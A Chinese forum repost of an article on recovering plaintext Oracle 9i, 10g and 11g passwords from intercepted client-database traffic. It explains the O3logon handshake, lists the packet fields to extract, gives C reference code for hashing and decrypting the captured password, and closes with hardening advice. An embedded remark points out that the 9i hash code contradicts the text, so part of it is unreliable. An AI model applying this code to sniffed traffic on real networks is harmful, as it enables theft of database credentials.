UDN-企业互联网技术人气社区

板块导航

浏览  : 733
回复  : 2

[讨论交流] 通过oracle通讯包破解oracle密码

[复制链接]
菊花一朵朵的头像 楼主
发表于 2016-3-23 20:37:29 | 显示全部楼层 |阅读模式
  本文所说的破解oracle9i、oracle10g、oracle11g密码,特指通过对oracle数据库和客户端之间通讯包进行处理破解出oracle密码明文,这有别于对oracle数据库中存储的16位密码进行破解。截获网络信息往往比登入数据库找到密码密文更易操作、更难防范、隐秘性更高。

  本文会说明oracle最常见的3个版本的具体算法,但是不会揭露算法内部细节。如果有需要且在合法的范围内,可以咨询安华金和获取协助。

  如下图所示:从客户端到数据库的过程中,无论在哪一环节成功对网络进行拦截或者监听都会获得oracle数据库和客户端之间的通讯包。本文依oracle的3个版本为例(9i 10g 11g)。分别说明核心通讯内容加密的方法和发展趋势。

c3ba395f3252a35557d04d8fd5a5848e.jpg

  oracle加密原理

  当Oracle发起接后,Oracle客户端向oracle数据库发送自己版本号,包含的加密算法等信息。最终2边确定使用什么加密算法。然后进行O3logon验证。O3logon验证是一种查询-响应协议,他利用DES 加密技术保护这个会话的密钥(sesskey),保证sesskey不会在网络中传输,所以即使有人监听网络也不会暴露核心密钥。其中O3logon验证的核心是sesskey。

  首先服务器通过oracle_hash(不同的版本不一样,在9i中是用户名+密码,再进行sha1运算)和sesskey(一个随机数)算出服务器端的S_auth_sesskey.

  客户端拿到服务器的S_auth_sesskey后通过手上的散列值(这个散列值是用与服务器端一样的方法计算的orcale_hash)算出数据库所选择的随机sesskey。

  客户端使用sesskey 生成新的散列值,以该值为密钥与明文password进行运算得到秘文password; 然后将秘文password发送到服务器端。

  服务器端收到password;通过sesskey生成散列值密钥,对秘文password进行解密得到密码明文,如果与库中存储一致则登陆成功。(参见下图)

4b8956594893b5b03f46bb9f9bd46f27.jpg

  实例

  上面主要是原理的说明,下面就3个版本的数据库进行分别说明(他们既有相同,也有不同的地方)。

  oracle9i:

  本文默认你已经通过某些方式取得了一个含有Oracle登录信息的网络通讯包。省略掉前面和破密关系不大的信息在数据包中寻找到3个相关信息分别是数据库发送给客户端的AUTH_SESSKEY 、用户名明文和AUTH_PASSWORD。

3f87462b4c0b844fd453e2f86e912fa6.jpg

  客户端在得到auth_sesskey后,客户端运算出oracle_hash ,首先对orcale_hash做SHA1运算会得到服务器端的散列值。以服务器端散列值为密钥进行3DES解密,可以把服务器端发给客户端的AUTH_SESSKEY转化成本次回话的sesskey。

  服务器端在得到auth_password后,把sesskey按照一定的方法做SHA1运算得到客户端散列值。客户端散列值和AUTH_PASSWORD通过3DES可以算出存于数据库中的密码密文。最后客户端散列值和密码密文进行运算可以还原回密码明文。

  由于9i是采用把用户名明文和密码明文按照顺序排列在一起对整个字符串做处理生成oracle_hash。由于添加的参数是固定的所以即使不是同一台数据库只要加入的账号+密码相同则,他们的sesskey是相同的。例如用户名aabbcc密码ccddee和用户名aabbcccc密码ddee是一样的sesskey。

  参考代码
  1. int ORACLE_Hash (char* username, char *passwd, int passwd_len, unsigned char* oracle_hash)
  2. {
  3. char ToEncrypt[256];
  4. char temp[256];
  5. DES_cblock iv,iv2;
  6. DES_key_schedule ks1, ks2;
  7. int len=0;
  8. int j,ulen,plen;
  9. memset (ToEncrypt,0,sizeof(ToEncrypt));
  10. strupr (username);
  11. strupr (passwd);
  12. ulen = strlen(username);
  13. plen = passwd_len;
  14. for (len=1,j=0; j<ulen; len++,j++)
  15. {
  16. ToEncrypt[len] = username[j];
  17. len++;
  18. }
  19. for (j=0; j<plen; len++,j++)
  20. {
  21. ToEncrypt[len] = passwd[j];
  22. len++;
  23. }
  24. len=len-1;
  25. memset (iv,0,8);
  26. memset (iv2,0,8);
  27. DES_set_key((DES_cblock*) deskey_fixed, &ks1);
  28. DES_ncbc_encrypt((unsigned char*) ToEncrypt, (unsigned char*) temp, len, &ks1, &iv, DES_ENCRYPT);
  29. DES_set_key((DES_cblock*) &iv, &ks2);
  30. DES_ncbc_encrypt((unsigned char*) ToEncrypt, (unsigned char*) temp, len, &ks2, &iv2, DES_ENCRYPT);
  31. memcpy (oracle_hash,iv2,8)
  32. return TRUE;
  33. }
复制代码

  注:以上的代码并未使用sha1,而是采用了des,与前文介绍不一致。而且其中deskey_fixed是什么?是下文的fixed31吗?
  1. int ORACLE_TNS_Decrypt_Password_9i (unsigned char OracleHash[8], unsigned char auth_sesskey[16], unsigned char auth_password[16], char* decrypted)
  2. {
  3. unsigned char fixed31 [] = {0xA2,0xFB,0xE6,0xAD,0x4C,0x7D,0x1E,0x3D,0x6E,0xB0,0xB7,0x6C,0x97,0xEF,0xFF,0x84,0x44,
  4. 0x71,0x02,0x84,0xAC,0xF1,0x3B,0x29,0x5C,0x0F,0x0C,0xB1,0x87,0x75,0xEF};
  5. unsigned char triple_des_key[64];
  6. unsigned char sesskey[16];
  7. unsigned char obfuscated[16];
  8. int PassLen = 16;
  9. ORACLE_TNS_Create_Key_SHA1 (OracleHash, 8, fixed31, sizeof(fixed31), 24, triple_des_key);
  10. ORACLE_TNS_Decrypt_3DES_CBC (auth_sesskey, 16, triple_des_key, sesskey);
  11. ORACLE_TNS_Create_Key_SHA1 (sesskey, 16, NULL, 0, 40, triple_des_key);
  12. ORACLE_TNS_Decrypt_3DES_CBC (auth_password, 16, triple_des_key, obfuscated);
  13. ORACLE_TNS_DeObfuscate (triple_des_key, obfuscated, &PassLen);
  14. memcpy (decrypted, obfuscated, PassLen);
  15. return PassLen;
  16. }
复制代码

  oracle10g

  10g在9i的基础上进行了很大的改变。同样还是假设我们已经取得一个含有Oracle登录信息的网络通讯包。省略掉前面和破密关系不大的信息在数据包中寻找到4个相关信息分别是数据库发送给客户端的S_AUTH_SESSKEY、用户名明文、客户端发送给服务器的C_AUTH_SESSKEY和AUTH_PASSWORD。

78f391231746899a8aec2a869b4020e1.jpg

  首先假设取得了oracle_hash ,这里不同于9i。9i虽然算了2个不同的散列值。但由于2个散列值都是通过固定数据和oracle_hash算出来的,所以难免被破解,而且效率不高。从Oracle10g开始,Oracle调整了策略,客户端和数据库分别以oracle_hash为基础生成S_AUTH_SESSKEY和C_AUTH_SESSKEY。

  客户端对传过来的S_AUTH_SESSKEY。做AES128解密处理拿到server_sesskey。把server_sesskey和自己的client_sesskey做md5生成combine。用生成AUTH_PASSWORD。

  服务器端最后用combine对AUTH_PASSWORD解密。对比密码,如果一致登陆成功。

  10g在对于sesskey的处理上取得了长足的改善,但是对oracle_hash的产生上依旧延续了9i的方式。采用用户名和密码进行拼接组成最关键的字符串。对该字符串进行DES处理。

  参考代码
  1. int ORACLE_TNS_Decrypt_Password_10g (unsigned char OracleHash[8], unsigned char auth_sesskey[32], unsigned char auth_sesskey_cli[32], unsigned char* auth_password, int auth_password_len, char* decrypted)
  2. {
  3. int passlen = 0;
  4. unsigned char aes_key_bytes[32];
  5. unsigned char decrypted_server_sesskey[32];
  6. unsigned char decrypted_client_sesskey[32];
  7. unsigned char combined_sesskeys[16];
  8. char decrypted_password[64];
  9. memset (aes_key_bytes,0,sizeof(aes_key_bytes));
  10. memcpy (aes_key_bytes,OracleHash,8);
  11. ORACLE_TNS_Decrypt_AES128_CBC (aes_key_bytes, auth_sesskey, 32, decrypted_server_sesskey);
  12. ORACLE_TNS_Decrypt_AES128_CBC (aes_key_bytes, auth_sesskey_cli, 32, decrypted_client_sesskey);
  13. ORACLE_TNS_Combine_SessKeys (&decrypted_server_sesskey[16], &decrypted_client_sesskey[16], combined_sesskeys);
  14. ORACLE_TNS_Decrypt_AES128_CBC (combined_sesskeys, auth_password, auth_password_len, (unsigned char*) decrypted_password);
  15. passlen = terminate_ascii_string (&decrypted_password[16], auth_password_len-16);
  16. if (passlen != -1)
  17. strncpy (decrypted, &decrypted_password[16], passlen);
  18. return passlen;
  19. }
复制代码

  oracle11g

  11g在10g的基础上进行了一定的改变。同样还是假设我们已经取得一个含有Oracle登录信息的网络通讯包。省略掉前面和破密关系不大的信息在数据包中寻找到4个相关信息分别是数据库发送给客户端的S_AUTH_SESSKEY、AUTH_VFR_DATA、客户端发送给服务器的C_AUTH_SESSKEY和AUTH_PASSWORD。

be730a230115b280be70e44ecfd27452.jpg

  依旧假设取得了Oracle_hash ,11g基本同于10g,客户端和数据库分别以Oracle_hash为基础生成S_AUTH_SESSKEY和C_AUTH_SESSKEY。客户端对传过来的S_AUTH_SESSKEY。做AES192解密处理拿到server_sesskey。把server_sesskey和自己的client_sesskey做md5生成combine。用combine生成AUTH_PASSWORD。服务器端最后用combine对AUTH_PASSWORD解密。对比密码,如果一致登陆成功。

  11g最大的变化在生成Oracle_hash上采取了和10g不同的策略。Oracle 11g为了提

  Oracle_hash的安全性,多引入了AUTH_VFR_DATA这个随机值。取消了明文用户名。每个会话的AUTH_VFR_DATA都不同。从根本上避免9i、10g同字符串(用户名+密码组成的字符串)带来的无论哪台机器oracle_hash一致的巨大安全隐患。

  参考代码
  1. void ORACLE_MixCase_Hash (char *passwd, int passwd_len, unsigned char salt[10], unsigned char* oracle_mixcase_hash)
  2. {
  3. unsigned char to_hash[256];
  4. memcpy (to_hash, passwd, passwd_len);
  5. memcpy (to_hash+passwd_len, salt, 10);
  6. SHA_CTX ctx;
  7. SHA1_Init (&ctx);
  8. SHA1_Update (&ctx, to_hash, passwd_len+10);
  9. SHA1_Final (oracle_mixcase_hash, &ctx);
  10. }
复制代码

  从Oracle9i到Oracle11g.的变化我们可以清晰的看出oracle调整的思路。就是更安全。从11g开始oracle和密码相关登陆信息全部采用了密文。有效的加大的破解难度。我们在实际应用中不单单要重视软件本身的安全,同时也要对环境有一定的抵抗力。一定注意防止网络监听,设计SID的时候尽量避免ORCL、TEST等常用名。端口号尽量不要选用1521 和1523来增加扫描难度。使用复杂密码,定期更换密码等都会有助于oracle的安全。

                                     原文作者:思成  来源:库安全
发表于 2016-3-23 21:06:48 | 显示全部楼层
赞一个
使用道具 举报

回复

发表于 2016-3-23 21:06:54 | 显示全部楼层
赞一个
使用道具 举报

回复

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

关于我们
联系我们
  • 电话:010-86393388
  • 邮件:udn@yonyou.com
  • 地址:北京市海淀区北清路68号
移动客户端下载
关注我们
  • 微信公众号:yonyouudn
  • 扫描右侧二维码关注我们
  • 专注企业互联网的技术社区
版权所有:用友网络科技股份有限公司82041 京ICP备05007539号-11 京公网网备安1101080209224 Powered by Discuz!
快速回复 返回列表 返回顶部